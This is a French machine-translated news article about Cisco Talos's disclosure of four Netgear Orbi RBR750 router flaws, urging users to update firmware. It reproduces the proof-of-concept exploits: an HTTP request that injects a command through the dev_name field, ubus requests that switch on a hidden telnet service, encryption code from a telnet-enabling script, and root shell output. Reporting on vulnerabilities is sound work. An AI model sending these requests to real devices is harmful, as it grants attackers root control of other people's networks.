Nouvelles Du Monde

Si votre routeur Netgear Orbi n’est pas patché, vous voudrez le changer illico – Ars Technica

Si votre routeur Netgear Orbi n’est pas patché, vous voudrez le changer illico – Ars Technica
Agrandir / Un routeur de la série Orbi 750.

Net Gear

Si vous comptez sur le système sans fil maillé Orbi de Netgear pour vous connecter à Internet, vous devez vous assurer qu’il exécute le dernier micrologiciel maintenant que le code d’exploitation a été publié pour les vulnérabilités critiques dans les anciennes versions.

Le système sans fil maillé Netgear Orbi comprend un routeur concentrateur principal et un ou plusieurs routeurs satellites qui étendent la portée du réseau. En configurant plusieurs points d’accès dans une maison ou un bureau, ils forment un système maillé qui garantit que la couverture Wi-Fi est disponible partout.

Injecter à distance des commandes arbitraires

L’année dernière, des chercheurs de l’équipe de sécurité Talos de Cisco ont découvert quatre vulnérabilités et les ont signalées en privé à Netgear. La plus grave des vulnérabilités, suivie comme CVE-2022-37337, réside dans la fonctionnalité de contrôle d’accès du RBR750. Les pirates peuvent l’exploiter pour exécuter des commandes à distance en envoyant des requêtes HTTP spécialement conçues à l’appareil. Le pirate doit d’abord se connecter à l’appareil, soit en connaissant le mot de passe SSID, soit en accédant à un SSID non protégé. La gravité de la faille est notée 9,1 sur 10 possibles.

En janvier, Netgear a publié des mises à jour du micrologiciel qui ont corrigé la vulnérabilité. Maintenant, Talos publié un code d’exploitation de preuve de concept ainsi que des détails techniques.

“La fonctionnalité de contrôle d’accès de l’Orbi RBR750 permet à un utilisateur d’ajouter explicitement des appareils (spécifiés par une adresse MAC et un nom d’hôte) pour autoriser ou bloquer l’appareil spécifié lorsqu’il tente d’accéder au réseau”, ont écrit les chercheurs de Talos. “Cependant, le paramètre dev_name est vulnérable à l’injection de commande.”

Le code d’exploitation publié est :

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

L’appareil répondra comme suit :

   root@RBR750:/tmp# ps | grep ping
   21763 root  	1336 S	ping 10.0.0.4

Deux autres vulnérabilités découvertes par Talos ont également reçu des correctifs en janvier. CVE-2022-36429 est également une faille d’exécution de commandes à distance qui peut être exploitée en envoyant une séquence de paquets malveillants qui créent un objet JSON spécialement conçu. Son indice de gravité est de 7,2.

Lire aussi  Découverte d'un monde aquatique dans l'espace grâce au télescope James Webb

L’exploit commence par utiliser la somme SHA256 du mot de passe avec le nom d’utilisateur « admin » pour renvoyer un cookie d’authentification requis pour démarrer une session telnet non documentée :

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: 
Referer: /
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}

Le jeton ‘ubus_rpc_session’ nécessaire pour démarrer le service telnet caché apparaît alors :

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45

{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}

L’adversaire ajoute alors un paramètre appelé ‘telnet_enable’ pour démarrer le service telnet :

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: 
Referer: /status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}

Le même mot de passe utilisé pour générer le hash SHA256 avec le nom d’utilisateur ‘admin’ permettra alors à un attaquant de se connecter au service :

$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.

login: admin
Password: === IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.30.1 () built-in shell (ash)

 	MM       	NM                	MMMMMMM      	M   	M
   $MMMMM    	MMMMM            	MMMMMMMMMMM  	MMM 	MMM
  MMMMMMMM 	MM MMMMM.          	MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM   	MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM	MM   	MMMMM	MMMM	MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM      	MMMMM 	MMMM	MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM   	MMMMM  	MMMM	MMMM   MMMMMMMMM
MMMM=   MMMM 	MMMMM,	NMMMMMMMM   MMMM	MMMM   MMMMMMMMMMM
MMMM=   MMMM  	MMMMMM   MMMMMMMM	MMMM	MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM	MMMM	MMMM  	MMMM	MMMM   MMMM	MMMM
MMMM$ ,MMMMM  MMMMM  MMMM	MMM   	MMMM   MMMMM   MMMM	MMMM
  MMMMMMM:  	MMMMMMM 	M     	MMMMMMMMMMMM  MMMMMMM MMMMMMM
	MMMMMM   	MMMMN 	M       	MMMMMMMMM  	MMMM	MMMM
 	MMMM      	M                	MMMMMMM    	M   	M
   	M
 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
 ---------------------------------------------------------------
root@RBS750:/#

L’autre vulnérabilité corrigée est CVE-2022-38458, avec un indice de gravité de 6,5. Cela provient du fait que l’appareil invite les utilisateurs à entrer un mot de passe via une connexion HTTP, qui n’est pas cryptée. Un adversaire sur le même réseau peut alors renifler le mot de passe.

La vulnérabilité qui a refusé de mourir

Une quatrième vulnérabilité découverte par Talos, suivie comme CVE-2022-38452, n’a pas encore été patché. Talos a quand même publié des détails à ce sujet, conformément à la politique de divulgation des informations de vulnérabilité dans les 90 jours suivant leur signalement privé au fournisseur. La faille provient de la fonctionnalité Telnet cachée et permet aux adversaires d’exécuter des commandes à distance.

Lire aussi  Le PDG de Take-Two déclare que les fuites de GTA 6 n'ont pas eu d'impact sur les affaires, mais étaient "une question émotionnelle"

Les développeurs de Netgear ont précédemment introduit une mise à jour qui supprimait un interrupteur à bascule dans une page de débogage masquée qui pouvait être utilisée pour activer ou désactiver le service telnet. Le correctif, malheureusement, était incomplet.

“Bien que le commutateur de l’interface graphique ne fonctionnait plus / ait été supprimé, l’activation du service était toujours possible en envoyant un paquet de déclenchement spécialement conçu au port UDP 23 (Talos expliqué. Alors que les mises à jour récentes ont apparemment cassé cet outil (et les nombreux outils similaires), le service existe toujours et peut toujours être déclenché.

def crypt_64bit_up(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0, 0x10):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[-2]
	y = y ^ pArray[-1]
	return (x, y)

def crypt_64bit_down(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0x11, 1, -1):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[1]
	y = y ^ pArray[0]
	return (x, y)

Un adversaire qui possède le nom d’utilisateur, le mot de passe et l’adresse MAC de l’appareil vulnérable br-lan l’interface peut continuer à démarrer telnet :

$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44  45 38 37 38 00 00 00 00  C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00  00 00 00 00 00 00 00 00  admin...........
00000020: 50 61 73 73 77 30 72 64  00 00 00 00 00 00 00 00  Passw0rd........
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE  8F 14 65 9F B9 03 3C 8D  ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43  84 4B BB F5 B1 B0 C5 32  .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F  7C 82 89 28 32 95 7C 64  c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D  7C 82 89 28 32 95 7C 64  S  b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d

$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
 === LOGIN ===============================
  Please enter your account and password,
  It's the same with DUT GUI
 ------------------------------------------
telnet account: admin
telnet password:

BusyBox v1.30.1 () built-in shell (ash)

  .oooooo.         	.o8    	o8o       	.o.   	ooooooo  ooooo
 d8P'  `Y8b       	"888    	`"'      	.888.   	`8888	d8'
888  	888 oooo d8b  888oooo.  oooo     	.8"888.    	Y888..8P
888  	888 `888""8P  d88' `88b `888    	.8' `888.    	`8888'
888  	888  888  	888   888  888   	.88ooo8888.  	.8PY888.
`88b	d88'  888  	888   888  888  	.8' 	`888.	d8'  `888b
 `Y8bood8P'  d888b 	`Y8bod8P' o888o	o88o 	o8888o o888o  o88888o

 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, 10.0.3440.3644)
 ---------------------------------------------------------------
root@RBR750:/#

Comme indiqué précédemment, trois des quatre vulnérabilités ont été corrigées en janvier. Le modèle de routeur Orbi RBR750 Manuel de l’Utilisateur dire que les utilisateurs peuvent vérifier les mises à jour disponibles et les installer en mettant orbilogin.com, en entrant les informations d’identification administratives et en sélectionnant AVANCÉ> Administration> Mise à jour du micrologiciel> Mise à jour en ligne.

Lire aussi  Actions Pinterest, Inc. (NYSE:PINS) acquises par Handelsbanken Fonder AB

Bien que CVE-2022-38452 n’ait pas encore été corrigé, les trois autres failles ont été corrigées. Les utilisateurs de ces appareils doivent s’assurer qu’ils fonctionnent version du micrologiciel 4.6.14.3qui est la dernière version pour le moment.

Facebook
Twitter
LinkedIn
Pinterest

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

ADVERTISEMENT